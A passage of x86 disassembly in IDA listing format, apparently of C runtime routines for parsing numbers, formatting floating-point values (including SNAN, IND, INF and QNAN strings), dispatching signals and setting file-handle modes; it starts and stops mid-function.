		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


